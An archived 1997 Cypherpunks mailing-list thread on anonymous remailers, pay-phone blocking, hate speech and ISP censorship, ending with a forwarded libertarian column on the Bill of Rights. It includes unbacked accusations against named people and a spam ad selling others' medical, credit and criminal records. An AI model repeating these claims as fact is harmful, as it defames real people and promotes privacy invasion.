> and from various European languages. Samples included here, of this text.

This _is_ pretty amazing. Previous to this, the only software I've seen
that's even similar are the realtime translation products offered by
Uni-verse, at . Like this AV
Translation Service, the software is proprietary, but (worse), it must be
purchased and (as far as I can tell) only runs on Windows. Wonder how long
this is going to be free to use?


Schl�sselanarchy!

Michael Stutz  .  http://dsl.org/m/  .  copyright disclaimer etc
stutz at dsl.org  :  finger for pgp     :  http://dsl.org/copyleft/







From dlv at bwalk.dm.com  Sat Dec 20 10:17:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 02:17:56 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712200621.HAA13824@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:
>
> I can warmly recommend Cyberpass.
> Cyberpass does not censor political
> speech.
> They provide anonymous accounts to a considerable low price. The
> connection is telnet with a UNIX shell and SSH support. Cyberpass is a
> division of Infonex InterNet Services. They have a policy "Go and get a court
> order" which is very unusual.
> They already host  the OSTARA domain
> www.ostara.org containing stupid nazi propaganda.
> Others I could mention are
> Concentric Network Corporation and Panix - Public Network Corporation and
> Webcom.
> http://www.cyberpass.net
> http://www.cris.com http://www.concentric.net
> http://www.webcom.com.
> I am sure there are others who do not censor.
> But these are those I trust most.
> Most ISPs are more concerned about pornography than
> hate speech.

Panix is extremely censorous. I know of at least 3 cases where they pulled
plugs on their users because they didn't like the contents of their speech.
(Many people here probably remember Fred Cherry - Panix pulled his plug for
"homophobia".)
chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
for the ideology; he'll bend over the moment he thinks there's more $$ in
bending over, which is usually the case.
Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
because he failed miserable and diversified into peddiling shitty software
and making idiotic legal threats? He happily pulled plugs bases on content,
while at the same time stating in court papers that he doesn't censor content.
What a pathological liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From comsec at nym.alias.net  Sat Dec 20 10:26:45 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Sun, 21 Dec 1997 02:26:45 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
Message-ID: <19971220182004.12276.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> On 19 Dec 1997 23:01:59 +0100, Charlie Comsec  wrote:
> :Actually in the case of anonymous e-mail you have one additional
> :safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> :telling the telephone company that you want to be blocked from receiving
> :calls from any pay phone!
>    
> It's available now.  The first to use it are pager companies.

Why would a pager company want to block calls from pay phones?  Haven't
you seen that commercial (for MCI?) where the kids crowd into that phone
booth and page someone to pick them up from school before the big
storm hits?  Imagine if they had gotten a recording saying "I'm sorry.
You can't page this number from a pay phone."  Really bad PR!

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJvy7Abp0h8ZvosNAQHvxgf+K2qymGG+uDduMJbDHw94OhAWioubIXHe
KK7dXYstS1qFpoG7zJgbcJprYWMsdOQD9c/GD68CmzOj+BYLRQ+7cMLyFWmvIylJ
pVMBIuocLKFo2CXU5m5aHNb6MUoTkqAZA4ZOP6HlWVFbXdOlrzyD689qpDTNOwsH
DEJtlF4Iu1wogZN5D1rh4Obr1hTPgihJH4cXqkfpwsaAnGKB0uHn8akhgGVFP0rL
ovDLmiCGoCUFTTOgKGPv1Z3+dZ07TEy3yhLEbJPrEfw6Cua8F8C7fD0+ZymErJoJ
qvr51KoxKp5LJAgZgAgYgCcmTEhVoiPiO6Hafyu6x5r4QKYxe+ONMA==
=yaoP
-----END PGP SIGNATURE-----






From daegi16 at aol.com  Sun Dec 21 02:37:15 1997
From: daegi16 at aol.com (USA)
Date: Sun, 21 Dec 1997 02:37:15 -0800 (PST)
Subject: Find Info You Never Thought Possible...ONLINE!
Message-ID: <199712201115NAA14771@elvis@tunica.com.worldnetla.net>


Find information you wouldn't believe possible...... online!!! 

You will not receive any more correspondence from us!!!!!
-----------------------------------------------------------------------------

We have done the research for you!!! With this power tool you can access
information all over the World Wide Web about your employees, friends and
rivals. We give you the access to hundreds of sites that will supply you
with information about DMV records, credit profiles, medical and criminal
records, most anything you would want to know.

With this information you can track down phone numbers,social security
info, E-mail addresses, surnames, birth, marriage, divorce, and death records.
Look up a long, lost relative!!
With sites like Birth-Quest, look for biological parents!

Get a map of any place in the country.
Find out where speed traps are in your area, get info about legal issues,
Check out politics anywhere in the U.S.(access past congressional votes,
campaign finance, election results, etc.)

Most of these sites have links to other sites to allow you access to even
more information.You will be guided to thousands of pages all over the world!

The internet can be rather complicated. Take advantage of these simple, 
easy web sites containing tons of information. 

These are just a few items to look for, there are many, many MORE!
You can know EVERYTHING about EVERYBODY with this information!!
Your satisfaction is guaranteed, Just return the material within 30 days
for a full refund!

Send $11.95 to;              INFOREVOLUTION
                             875 Lawrenceville Suwanee Rd.,N.W.
                             Suite 310-314
                             Lawrenceville GA 30243-5484




















From tcmay at got.net  Sat Dec 20 10:55:07 1997
From: tcmay at got.net (Tim May)
Date: Sun, 21 Dec 1997 02:55:07 +0800
Subject: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: 



At 11:20 AM -0700 12/20/97, Charlie Comsec wrote:

>Why would a pager company want to block calls from pay phones?  Haven't
>you seen that commercial (for MCI?) where the kids crowd into that phone
>booth and page someone to pick them up from school before the big
>storm hits?  Imagine if they had gotten a recording saying "I'm sorry.
>You can't page this number from a pay phone."  Really bad PR!

The general pressure to treat pay phones as things to be regulated away, to
be forcefully shut down (as in Chicago, if I recall correctly), and to be
treated as a Tool of the Devil has to do with the War on Some Drugs, of
course.

Because dealers use pay phones, they must be bad.

In a free society, companies would be free to offer various kinds of
blocking services. I surmise, though, that the pager companies are under
pressure from their friends in government to block pay phones more so than
they normally would.

(Even the _ability_ to block a pay phone, qua pay phone, must imply that
pay phones send out some kind of signal announcing themselves as pay
phones, which I had not heard of before. I assumed a pay phone was Just
Another Phone Number.)


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From pooh at efga.org  Sat Dec 20 12:12:23 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sun, 21 Dec 1997 04:12:23 +0800
Subject: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <3.0.3.32.19971220150701.033123cc@mail.atl.bellsouth.net>



At 10:56 AM 12/20/97 -0700, Tim May wrote:
>I assumed a pay phone was Just
>Another Phone Number.)

My caller ID unit often identifies an incoming call as "Payphone".

I also had an interesting thing happen to me about ten years ago.  My home
phone got listed as a payphone.  When I moved and asked for a phone number,
I was told none were available.  The area I moved into was the fastest
growing section of the fastest growing county in the country for two or
more years running.  It took about a month to get a phone number from an
exchange that was from an area several miles form me.  Then an odd thing
happened.  I never got a phone bill.

I forget the exact details, but after several months of "free" telephone
service, my phone went dead one day.  When I called to inquire, I was told
that my number was a pay phone, not a residential number.  They finally
fixed things up, and got my service restored.  But there appears to be a
database field that says a number is or isn't a pay phone.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From comsec at nym.alias.net  Sat Dec 20 12:32:13 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Sun, 21 Dec 1997 04:32:13 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971220202003.18109.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

politas at dynamite.com.au (Politas) wrote:

> >And if someone makes what you consider an annoying telephone call from a
> >public telephone, should the phone company remove the telephone?  Sure, they
> >may be able to trace the telephone used, but not who used it.
>  
> You are making unnecessary and incorrect parallels.  Tracing the
> telephone used _is_ the equivalent of the sending email address.

Yes but tracing a call to a pay phone is the equivalent to tracing an 
anonymous e-mail back to a remailer.  In fact, anonymous e-mail already 
contains information identifying the remailer it came from, so no additional
tracing effort is required.
 
> >Just as the anonymous person is paying for his own access to the internet.
> >The anonymous caller to your telephone is not paying your monthly telephone
>  
> with anonymous email, you also don't get any information about the
> whereabouts of the person, which you do from the snail mail post
> office.

Perhaps you're unaware that snail mail "remailers" existed long before their
e-mail counterparts came along.  (Perhaps they still do, I haven't checked.)
You'd address a letter, place a stamp on it, and place it inside another
envelope addressed to the remailer service along with whatever fee they
charged, in cash.  When they received it, they'd open the outer envelope,
place the inner envelope back in the mail, throw the outer envelope away,
and pocket their fee.

All the recipient saw was a postmark from a certain post office.  You'd know 
that SOMEBODY mailed the letter at that post office, or at least somewhere 
withing their collection area.  It wasn't necessarily the person who wrote the 
letter, though.  Let's say that you get a letter that's postmarked "Chicago, 
IL".  Upon further investigation, you determine that it was mailed from 
somewhere withing the boundaries of the post office branch which also serves 
O'Hare International Airport, which is the USA's busiest airport.  How does 
that solve your professed need to know who sent it?
 
> >> You'd be amazed
> >> how often people who send "anonymous" letter bombs get caught.
> >
> >Yes, for both the e-mail and snail mail variety.  It's much easier to send 
> >an e-mail bomb from a throwaway ISP account than from a remailer, anyway.
> >Most remailers have fairly small size restrictions, for one thing, and if you
> >start sending too many individual e-mails through a remailer, the software
> >WILL take note of that fact and flag that fact for the operator.
>  
> And your point is?  Email bombs aren't the only thing I am concerned
> about here.

If you'll be specific, then perhaps I can address those concerns.
 
> >> Because I'd like it to be so.  I'm not really calling for anything
> greater 
> >> than we currently have with the phone system.
> >
> >Then you already have that.
>  
> Not if there are anon remailers that store _no_ information about the
> sender of a message.

You said earlier that you were concerned about *REPEATED* abuse.  If you
can do something to prevent a repetition after (or even before) receiving the 
first e-mail you consider abusive, then your problem is solved, is it not?

> >                            If you don't want calls from a certain caller,  
> >you can arrange to have them blocked.  If you don't want "anonymous" calls,
> >you can have incoming calls without caller ID information blocked, just as
> >you can request that the remailers not send you any anonymous e-mail.
>  
> Each remailer separately.  That means at least one message from every
> remailer in the world.  It's almost as bad as spammers offering
> "remove lists" 

There aren't that many remailers around, and a request to one of them to
have your address blocked, with a further request that they pass it on to
their fellow remailer operators should do the trick. If someone is sending
you SPAM via a remailer, then you need to notify the remailer operator.  They
usually act very quickly to stop that from happening, since it wastes their
resources as well as yours.  By its very nature, spam is detectable in a
content-neutral and sender-neutral fashion.

> >(None of this really has anything to do with anonymous PUBLIC posts.)
>  
> None of what?  I included public postings in my statement.  I may not
> have done it explicitly enough.  I really do believe that people
> should be accountable for what they do online.  If they cannot find
> anywhere in the world where those activities are acceptable, then they
> shouldn't be doing it.

That's the whole point of using remailers -- so that some country that wants
to be tyrranical can't hunt down someone in another country that does something
it considers "politically incorrect".  If something annoys you, then stop
reading it.  Killfile the author.  Killfile all remailers if you like.  Don't 
use dynamite (pun intended) to exterminate cockroaches.

> >"Presumed innocent until proven guilty" is still in force here.  I might well
> >say that I can see no purpose for owning a printing press other than to print
> >"subversive" material, yet I still retain that right here in the USA until
> >you can prove that I've used it for illegal purposes.  If you can prove that,
> >then you can get a court injunction against me.  But you can't take away that
> >right based on what you think I *MIGHT* do.
>  
> YEs, and if I can get a court injunction against an anonymous account,
> I expect to be able to trace that back to a person eventually.
> *Possible*  NOT *easy*. 

You're welcome to TRY, but nothing says that the person has any duty to make
it easy for you.

> >Of course, sometimes "breaking laws" IS the reason for anonymity.  If the
> >government were to outlaw the dissemination of certain politically incorrect
> >ideas, then the only way to safely do so might be anonymously.
>  
> Yes, so you find a remailer in a country that will support your
> "political incorrectness".  What's the problem?  

None. The solution you suggest is what already exists.

> You guys have to stop thinking insularly. 

Please define "you guys".

> Yes a single country's govt may not be able to be
> trusted.  But unless we change to a single world totalitarian govt
> (which I think unlikely), there will always be somewhere that
> political freedom will be promoted.

There is.  And there are places that allow anonymous remailers to operate as
they currently do.  I have no problem with that.  Do you?
 
> >If you feel that strongly about anonymous e-mail, then simply ask the
> >remailer operators to have your address blocked from receiving any. Your
> >(potential) problem is then solved.
>  
> I'm not really worried about it.  I don't normally annoy people enough
> for them to worry about me.  Although, I hardly think that it is a
> "simple" thing to tell everyone who runs an anonymous remailer
> anything.

Have you even TRIED?  You seem to be inventing problems where none exist.
If you're not worried about yourself, how do you know that others appreciate
your worrying on their behalf?

> >> Oh come now, you make it sound like Hotmail are doing it all out of the
> >> goodness of their hearts.  They *are* making money, you know.
> >
> >I'm sure they are, but the extra costs of positively IDing users would have
> >to be paid somehow.
>  
> What extra costs?  storing the IP address or the email address used to
> register the account? 

Are you offering to donate the disk space?  If you can convince Hotmail and
other providers to do what you're suggesting, and provided they properly
inform all new and existing users of this new policy far enough in advance
to make other plans if they so desire, I would not object.

Just don't expect anyone with a need for more than superficial "anonymity"
to use such a service.  Indeed, they probably already don't, anyway.

> >Of course they can.  Ultimately, each person is responsible for maintaining
> >his own privacy.  There's always a risk.
>  
> Not if you can use an anonymous remailer that keeps no information to
> trace you with.  That's just making it too easy.

"Too easy"?  How so?  Are you saying that protecting one's privacy should be
difficult?

You're also being redundant when you say "anonymous remailer that keeps no 
information to trace you with".  If they store the information you're 
suggesting, then you're quite obviously NOT anonymous, even if some users
mistakenly think they are.

> >                                         Those who anonymously (and illegally)
> >used fax machines to send uncensored news out of China during the Tianamen
> >Square uprising were obviously taking such a risk.  Does it bother you that
> >the technology did not exist to identify and prosecute those who did so?
>  
> The technology did exist.  The necessary information may not have been
> available to those who wanted to use it, but it did exist.  If all the 
> countries involved had been cooperating, they could have been found.
> Freedom from the oppressive regime is provided by the other country.

And so if you convince the Australian government to ban truly anonymous
remailers, they may still exist in other countries to protect Aussies.  There
already are countries that have banned encryption and anonymous communication.
AFAIC, any regime that's that paranoid about anonymity is an "oppressive 
regime" as you've termed it.  To quote one of the USA's founders, 

  "When the government fears the people there is liberty. 
   When the people fear the government there is tyranny".
   
> >No, but that's a different scenario than the telephone company requiring a
> >form of positive identification before using a pay phone.  You aren't
> >assuming that these "repeated offenses" involving pay phones all were made
> >using the SAME TELEPHONE each time, are you?  Not all harrassing callers
> >would be that stupid, although some might be. 
>  
> Of course not.  But if someone is repeatedly phoning me, it is quite
> possible that spread out police could be able to catch the person
> calling with a good enough organisation.  The effort required is
> immense, fairly similar to the effort required to convince another
> country to accept a warrant to break privacy of an anonymous remailer.

And if the remailer stored no information to tempt litigious individuals,
firms, and governments, then that problem would be solved altogether.  It's the same principle that stores
use when they leave their cash registers EMPTY and UNLOCKED at night.  A thief
will often cause more damage to the cash register breaking into it than the
amount of the money that it contains.  What you're suggesting is that the
person's privacy be violated BEFORE any law is broken, just in case he MIGHT
break a law later.

> >In the case of anonymous e-mail, you can trace it back to the remailer
> >utilized just like you can trace a phone call back to the telephone used.
> >But what does thay buy you?  You still don't know WHO made the call or sent
> >the e-mail.  Actually in the case of anonymous e-mail you have one additional
> >safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> >telling the telephone company that you want to be blocked from receiving
> >calls from any pay phone!
>  
> So, if I want to not receive anonymous email, I'd have to contact
> every single anonymous remailer in the world, and ask to be excluded?
> Sorry, that kind of argument just doesn't wash.  Anyway, what if I
> want to be able to receive anonymous messages, but I just want this
> one person who is trampling on my rights to stop?  Why should I give
> in to them?

It's your choice.  Go visit the list of remailers currently in operation and
count how many there are.  If it's too much trouble for you to send a single
block request, CCed to a dozen or so addresses, then you probably don't have
a strong enough case to go to court, obtain a warrant or subpoena, either.
By the time you go through that process, you'll have invested far more time
and effort than sending an e-mail or two to prevent the problem.

> And Peter da Silva was calling me silly?  

I don't speak for him, nor he for me.

> About the main one I can  
> think of is harassment.  That can be anonymous, and can certainly be
> illegal, depending on the level of harassment.  

If it's not serious enough for you to request that your e-mail address
be blocked, then why should the authorities think it's serious enough to
devote the resources to hunt down your harasser?

> >And if something is merely annoying, then prevention makes more sense than
> >building in the ability to hunt down the sender.
>  
> Why not both?  Trying to 100% prevent something without crippling your
> own lifestyle can be difficult.  I wouldn't want to prevent all 
> anonymous email reaching me, and I wouldn't want to give up on the
> usefulness of email.

If the only purpose of anonymous e-mail is to break the law, then why
WOULDN'T you want to block it?  Do you have some reason you'd want to hear
from people you consider lawbreakers?

> If someone really wants to send me email, there
> is no way I can prevent it short of not allowing any untrusted
> accounts to email me.  And that's reducing my lifestyle.  It's giving  
> in.

That's your choice.  The solution exists if you choose to use it.

> >Like anonymous e-mail itself, any surefire means of identifying the sender of
> >a message is also prone to abuse.  That's why the "Big Brother Inside"  
> >concept is a cure that's worse than the disease.
>  
> Only within a single country.  With an international network like this
> one, it is ridiculously easy to get around the laws of any one
> country.  Getting around the laws of EVERY country on the net is a lot
> harder, and should rightly be so. 

So if somebody in Argentina decides to harrass someone in England, how would
what you're proposing solve that problem?

> Besides, there's no such thing as a 'surefire' means of identifying 
> the sender with the method I proposed.  It would still be possible to
> get anonymous messages out.

It's good to see that you're finally coming to that realization.  I'd just
like to keep it so.
 
> Consider who needs to cooperate in order to trace an anonymous-
> remailer message when tracing information has been stored:
>  
> The recipient
> The recipient's local law enforcement
> The recipient's local court system (possibly)
> The anonymous remailer's local law enforcement
> The anonymous remailer (even if forced to assist by law, they can
> still refuse to divulge information, and/or tip off the sender) 
> The anonymous remailer's local court system (possibly)
> The anonymous remailer's local government
> The sender's local law enforcement
> The sender's local court system
> The sender's local government
>  
> Still think that "Big Brother" is a problem here?  Even a public
> posting only removes the top three layers here.

All this to nail a public poster who's offended you?  The problem with an
idealistic approach like this is that the prohibitive expense of defending
against frivolous litigation tends to circumvent most of the safeguards
you're hypothesizing here.  If the remailer doesn't have the financial 
resources to match those of the attacker, whether it be the Church of 
Scientology trying to silence a dissident ex-member or the government of 
Iran trying to prosecute an anonymous poster for "blasphemy against Islam", 
what protects the anonymous poster's legitmate privacy concerns?

The point you're missing is that you're trying to bypass due process and
violate the privacy of every sender on the theory that he MIGHT eventually
do something illegal.  Unless the remailer had already violated the sender's
privacy by storing identifying information, then your hunt would stop right 
there.

The remailers have found from experience that it's easier to simply not store
unneeccessary identifying information on the sender in the first place, rather 
than spending money on needless litigation trying to keep it confidential 
later on.

How would your proposal be implemented?  Some international law requiring
remailers to start keeping logs of their users' e-mail?  By your own admission,
all it would take is one hold out who refused to host "Big Brother Inside" to
defeat your scheme.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJwboAbp0h8ZvosNAQFSDQf+JdYWHlNfjN26ORY3igmU9MwjqZ1+4ePA
Qq3duSGRPyX2p0b2miY1iFjz5jo8AgBb7H8kq4c3pM8/8/NHnqTQHDQNwwuH3492
IqGhBq7STvtNalhiifIyLkC5x7DG7PAn7KcthfKt0JA/Ii7oXWOgGojmr/yVwdPt
vq0TKUs6G7lzKYMexMfRN0pJJPT40B6GqKlp+x/9CRDeYZotu3xpN4vFxHp4ysFI
f1o3lIrDlH15iRVcKSwi4a0dOHUhpiAalB7OK+my402q4uIIR8iSX5l9lfvSau4D
lCSvXZgtdvwEszbjwCeTLYY0JXE0Rnmozedjralt/34fAOuzDEPJ1w==
=+f0t
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Sat Dec 20 12:56:03 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 21 Dec 1997 04:56:03 +0800
Subject: Hate speech and censorship
In-Reply-To: 
Message-ID: <199712202049.VAA13608@basement.replay.com>





On Sat, 20 Dec 1997, Dr.Dimitri Vulis KOTM wrote:

> 
> Panix is extremely censorous. I know of at least 3 cases where they pulled
> plugs on their users because they didn't like the contents of their speech.

> (Many people here probably remember Fred Cherry - Panix pulled his plug for
> "homophobia".)
> chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
I wish you could be a little more specific.
Harrashing email and excessive cross-posting in violation of each UseNet 
group charter is not
censorship.
If someone sends a gay an email saying "I will kill you. Look out for the 
next gay pride parade" that's is legitimate ground for action.


> I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
> for the ideology; he'll bend over the moment he thinks there's more $$ in
> bending over, which is usually the case.
What is wrong selling privacy for money?
Do you have any prof that Lance Cottrell would "bending over" his 
principles in favour of money.

> Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
> because he failed miserable and diversified into peddiling shitty software
> and making idiotic legal threats? He happily pulled plugs bases on content,
> while at the same time stating in court papers that he doesn't censor content.
> What a pathological liar.
I suppose you can back up your claim with documentation.
What court document are you referring as evidence that Sameer Parekh is a 
pathological liar?






From an401 at hotmail.com  Sat Dec 20 13:29:19 1997
From: an401 at hotmail.com (Jeff Brown)
Date: Sun, 21 Dec 1997 05:29:19 +0800
Subject: Hate speech in Germany
Message-ID: <199712202126.WAA17065@basement.replay.com>



There is no doubt that the speech emsrunding holocaust denial is hate speech.
Ernst Zundel, one with whom I am very familiar portrays Jews as terrorists, criminals and states
that the Jews themselves are to blame for the holocaust.
No doubt that holocaust denial is hate speech.
At the issue of freedom of speech is also the
hypocrasy of most of those who claim to be victims of Orwellian thought crime laws.
Ernst Zundel is in fact in support of censorship of Jewish films such
as Holocaust and Schindler's List.
http://www.nizkor.org/hweb/people/z}zundel-ernst/
I don't think Mr. Zundel or Aryan for this matter should be punished
for their lies, but they should  neither gain any credibility in the free speech movement.






From die at die.com  Sat Dec 20 13:29:20 1997
From: die at die.com (Dave Emery)
Date: Sun, 21 Dec 1997 05:29:20 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <19971220162410.14018@die.com>



On Sat, Dec 20, 1997 at 06:20:04PM -0000, Charlie Comsec wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> gburnore at netcom.com (Gary L. Burnore) wrote:
> 
> > On 19 Dec 1997 23:01:59 +0100, Charlie Comsec  wrote:
> > :Actually in the case of anonymous e-mail you have one additional
> > :safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> > :telling the telephone company that you want to be blocked from receiving
> > :calls from any pay phone!
> >    
> > It's available now.  The first to use it are pager companies.
> 
> Why would a pager company want to block calls from pay phones?  Haven't
> you seen that commercial (for MCI?) where the kids crowd into that phone
> booth and page someone to pick them up from school before the big
> storm hits?  Imagine if they had gotten a recording saying "I'm sorry.
> You can't page this number from a pay phone."  Really bad PR!

	War on (some) Drugs...  they don't want to, they have been asked to...

	Most payphones can no longer receive calls because of this as
well, and there are far fewer of them around in certain areas than there
used to be ...

	Pagers are a favorite communications vehicle amoung drug dealers...

	As of course are pay phones...

	Public safety, service and conveniance come second ...

-- 
	Dave Emery N1PRE,  die at die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18






From brianbr at together.net  Sat Dec 20 14:12:27 1997
From: brianbr at together.net (Brian B. Riley)
Date: Sun, 21 Dec 1997 06:12:27 +0800
Subject: Fwd: Dec. 16 column -- Bill of Rights
Message-ID: <199712202207.RAA21162@mx01.together.net>




---------------- Begin Forwarded Message ----------------
Date:        12/18  8:38 AM
Received:    12/18  11:04 PM
From:        Vin Suprynowicz)(by way of Hardy Macia, 
Vin_Suprynowicz at lvrj.com
Reply-To:    Vermont Libertarian, vtlp-list at catamount.com
To:          Multiple recipients of vtlp-list, vtlp-list at catamount.com

This article comes from Vin Suprynowicz's mailing list. Should we have a
celebrat Bill of Rights Day? -- Hardy

_______________________

    FROM MOUNTAIN MEDIA
    FOR IMMEDIATE RELEASE DATED DEC. 16, 1997
    THE LIBERTARIAN, By Vin Suprynowicz
    Our second national holiday

    Americans make a big hubbub over the Fourth of July.

  True, the victory of 1781 was an amazing triumph, and the vision of 
those
gathered in Philadelphia five years before -- that men may rightfully form
or disband governments at will, for the higher purpose of protecting our
God-given individual rights -- is still worth celebrating.

  But that confederation of free men ended on June 21, 1788, when New
Hampshire became the ninth state to ratify the new United States
Constitution, making it the law of the land. At that point, the
organization of free peoples created by the Declaration of Independence --
the one we still celebrate each July -- passed away.

  Our government school teachers tell us this was necessary because the
Articles of Confederation "weren't working out." But they are woefully
light on specifics. Push them, and most will mutter uncertainly some 
trivia
about seaboard states charging tariffs on goods transshipped to landlocked
states. Point out that the first landlocked states -- Vermont and Kentucky
-- weren't admitted until 1791 and 1792, and they will usually fall into a
puzzled, grumbling silence.

  Anyway, there it is: The people fell for the siren song of "federalism,"
accepting solemn promises that the powers of the new central government
would be sharply limited to those expressly spelled out -- funding a Navy,
granting patents and copyrights, coining metal money. Not much more.

  Fast forward 210 years. As a recipe for limited government, this
Constitution now matches the creature it's supposed to describe about as
well as a Chihuahua's carry-on "Pet Kennel" would fit a drooling Irish
wolfhound.

  The prima facie proof of this failure now stares at us from every acre 
of
the former marshland north of the Potomac, a granite necropolis and
memorial park to our deceased freedoms at least a hundred times larger in
manpower and frenzied ambition to control our lives than Mr. Jefferson
could ever have imagined (though one suspects Mr. Hamilton would have
smiled.)

  In the face of this unchained monster, our thin remaining hope against
outright tyranny lies in the fact that Rhode Island and North Carolina
(bless them) outright refused to ratify that Constitution until a Bill of
Rights was added -- while Massachusetts, Maryland, South Carolina, New
Hampshire, Virginia And New York all ratified only on the condition that
some such set of amendments be quickly appended, as was solemnly promised.

  And so, on the day we should probably celebrate as our SECOND great
national holiday, on Dec. 15, 1791, Virginia became the 11th state to
ratify the first 10 proposed amendments -- Mr. Madison's "Bill of Rights"
-- though a better name might be the "Bill of Prohibitions" on government
conduct.

  This Dec. 15, as usual, that anniversary passed with the kind of
afterthought mention on the daily news and propaganda broadcasts usually
reserved for "On this day 70 years ago, Commander Perry reached the North
Pole" -- about as much attention as was paid, two days later, to the 224th
anniversary of the great event of Dec. 17, 1773 ("The most magnificent
movement of all. There is a dignity, a majesty, a sublimity in this last
effort of the patriots that I greatly admire," said future president John
Adams of the tax-resisting militiamen who that day dumped 342 chests of 
tea
into Boston harbor.)


An establishment of religion

  To their credit, Aaron Zelman and J.E. Simkin of the little
Milwaukee-based Jews for the Preservation of Firearms Ownership battled 
for
months this year to get city councils around the country to adopt
proclamations honoring Dec. 15 as Bill of Rights Day -- succeeding with a
small, proud band which now includes Randolph County, N.C.; Cobb County,
Ga.; the City of Asheboro; the town of Rainier, Wash.; and spunky little
Valley City, N.D.

  JPFO has also just brought out the latest in their line of "Gran'pa 
Jack"
comic books, "It's Common Sense to Use Our Bill of Rights ...  Or Lose
Them!" suitable to explain the Bill of Rights to any kid, aged 6 to 60 ...
of which more later.

  But against Mr. Zelman's admirable efforts, the question remains: Why do
the folks now in charge of our national offices -- including the 
government
schools -- so pass over and ignore the historic ratification of those 462
little words which have made us for two centuries the envy of men and 
women
seeking freedom the world around -- this Bill of Rights?

  Because they fear folks might actually read them?

  They're in plain English, you know. It was never intended we should need
an attorney to tell us what they mean -- let alone that we should tolerate
courts telling us they don't mean what we can plainly read there for
ourselves.

  It couldn't be because they're afraid we'd actually go read the First
Amendment, could it, which begins, "Congress shall make no law respecting
an establishment of religion ..."?

  What does it mean for a government to "establish" a religion? Why,
clearly, to establish one religion as that enforced by the government,
against all others ... like the Church of England.

  Let us suppose, for instance, that an extremist cult were to arise, 
which
holds it is a mortal sin to plow under any weed, or to destroy any bug or
small verminous rodent which we may find on our own property, providing 
the
priests of this extremist cult should decide (based on divine revelation)
to list that weed or bug in their own scriptures as "threatened" or
"endangered."

  That would be no problem, so long as the priests of this weird sect had
no legal authority to do anything but preach against us from their own,
private pulpits.

  But let us now suppose the government were to erect a headquarters for
this sect in Washington at taxpayer expense, and issue them guns and
badges, empowering them to enter onto our private property, arresting and
jailing us and seizing our land and homes if they should find us killing
our own weeds and bugs, to which no one else can demonstrate any legal
title?

  That would be "an establishment of religion," wouldn't it, and thus
banned under the First Amendment? Why, such extralegal usurpations might
even tempt government agents to eventually storm, burn and massacre
harmless citizens in their own churches of a Sunday afternoon, for
practicing some religion not approved by Washington, mightn't it? Thank
goodness we have a First Amendment to prevent that kind of thing.

  So (start ital)that(end ital) couldn't be the one they don't want us to 
read.

  It couldn't be because they're afraid we'd actually go read the (start
ital)Second(end ital) Amendment, could it? The one that says "A well
regulated Militia being necessary to the security of a free State, the
right of the people to keep and bear arms shall not be infringed"?


Shall not be infringed

  What's that word "free" doing in there?

  Mr. Madison knew full well that no citizen-militia was necessary to
protect the security of the kingdoms of France or Russia. Mercenary,
professional, standing armies did just fine to protect their borders -- at
the price of their own disarmed populaces being subject to tyranny under
the same muskets.

  Only a "free" country requires that the bulk of the potential armed
forces consist of free, private citizens better armed than the men
commanded by the central government, just as the unofficial "Fairfax 
County
Militia" of Messrs. Washington and Mason had been better armed than the
special militia or "National Guard" available to obey the orders of the
crown's "governor of Virginia" in 1776 ... else the Revolution still fresh
in Mr. Madison's mind could never even have been launched, let alone won.

  What the Second Amendment clearly means is that -- as a guarantee 
against
the threat of internal government tyranny -- any law-abiding American 
adult
not obviously insane or severely retarded has a right to own and carry 
with
him -- down to the federal courthouse, to a rally in Washington City, or
onto an airplane -- a belt-fed 30-caliber Browning machine gun, or a
